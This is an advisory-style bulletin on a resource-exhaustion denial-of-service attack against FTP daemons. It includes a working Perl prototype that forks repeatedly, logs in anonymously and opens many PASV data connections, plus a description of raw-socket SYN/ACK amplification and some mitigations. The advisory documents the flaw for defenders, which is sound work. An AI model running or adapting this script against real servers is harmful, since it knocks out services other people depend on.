COMMAND

    ftp(d)

SYSTEMS AFFECTED

    So far - everyone

PROBLEM

    Darren Reed found following.  Who has more free file descriptors &
    network  ports,  you  or  the  ftp  server?   ftpd's  which  limit
    connections to 1  per user@host or  similar may have  some defense
    against this, or if  they don't support multiple  data connections
    open at  the same  time.   Reed suspects  "many" is  the number of
    ftpd's which are  vulnderable to this  attack.  But  basically, if
    the other end has, on average,  maximum fd limit at 63, allows  50
    connections, that's 3000 open fd's.  Not sure how many ftpd's  are
    setup with that many  open files as a  part of the sytem,  but not
    many, one may suspect.

    No apologies for using  perl(5), Darren wanted a  quick prototype.
    It's not perfect but then he did't want to spend too much time  on
    this.

    #!/usr/bin/perl

    $DOS_HOST="localhost";

    use IO::Socket;

    $pid = $$;
    $num = 0;

    while (1) {
        while (fork) {
            $sock = IO::Socket::INET->new(
                Proto    => "tcp",
                PeerAddr => $DOS_HOST,
                PeerPort => "ftp(21)",
            );

            if (!$sock) {
                print "connect failed!\n";
                waitpid -1,0;
            }


            while (<$sock>) {
                print;
                print $sock "USER anonymous\r\n" if (/^220 .*/);
                print $sock "PASS root@\r\n" if (/^331 .*/);
                print $sock "PASV\r\n" if (/^230 .*/);

                if (/^227 .*/) {
                    $remote = $_;
                    $remote =~ s/^.* [^\d,]*(\d[\d,]+)[^\d,]*$/$1/;
                    @bits = split(/,/, $remote);
                    if ($#bits eq 5) {
                        $remport = $bits[4] * 256 + $bits[5];
                        $#bits = 3;
                        $remip = join('.', @bits);
                        $foo[$num++] = IO::Socket::INET->new(
                                Proto => "tcp",
                                PeerAddr => $remip,
                                PeerPort => "($remport)");
                    }
                    print $sock "PASV\r\n";
                }
                last if (/^530 .*/);
            }
            waitpid -1,0;
        }
        sleep(5);
    }

    Using  raw   sockets  it's   possible  to   simulate  a   lot   of
    descriptors/open ports.   You just needs  to drop outgoing  RST in
    order to implement your ftpd-dos-oriented TCP/IP micro-stack  with
    a minimal memory  requirement.  In  a word: the  attacker has more
    free  file  descriptors  &  network  ports every times the exploit
    just do a  simple operation such  USER/PASS authentication.   This
    isn't true only  for this attack  but for many  others and results
    in the  ability to  perform this  kind of  DoS against  a very big
    server using little resources.

    All the malicious user  needs to do is  send lots of hand  crafted
    SYNs  and  ACKs  without  involving  the  local OS in any way. The
    remote server tries to  handle thousands of very  real connections
    which all need to timeout before the connection is closed and  the
    resources are freed.  A  PalmPilot could disable an entire  server
    farm this way.  Current operating systems aren't very well equiped
    to handle  this.   Programs are  forced to  accept() a  connection
    and have no way to  prevent the kernel from ACKing  the connection
    and allocating resources.  The free unixes these days mostly  come
    with packet filtering  available by default,  these might be  best
    off.   One could  imagine a  'libfilter' which  would easily allow
    daemons with  the right  permissions/capabilities to  instruct the
    kernel to not accept connections anymore from a certain host.

    The OpenBSD ftpd has never  permitted more than 1 connection  at a
    time in PASV mode, thus  this particular denial of service  attack
    does not work.

SOLUTION

    There are  ways to  protect servers  against such  an attack  with
    dedicated hardware  but such  measures are  not widely implemented
    today  and  may  also  'protect'  indiscriminately  against normal
    traffic in case of false positives. A daemon can be more  specific
    in its measures.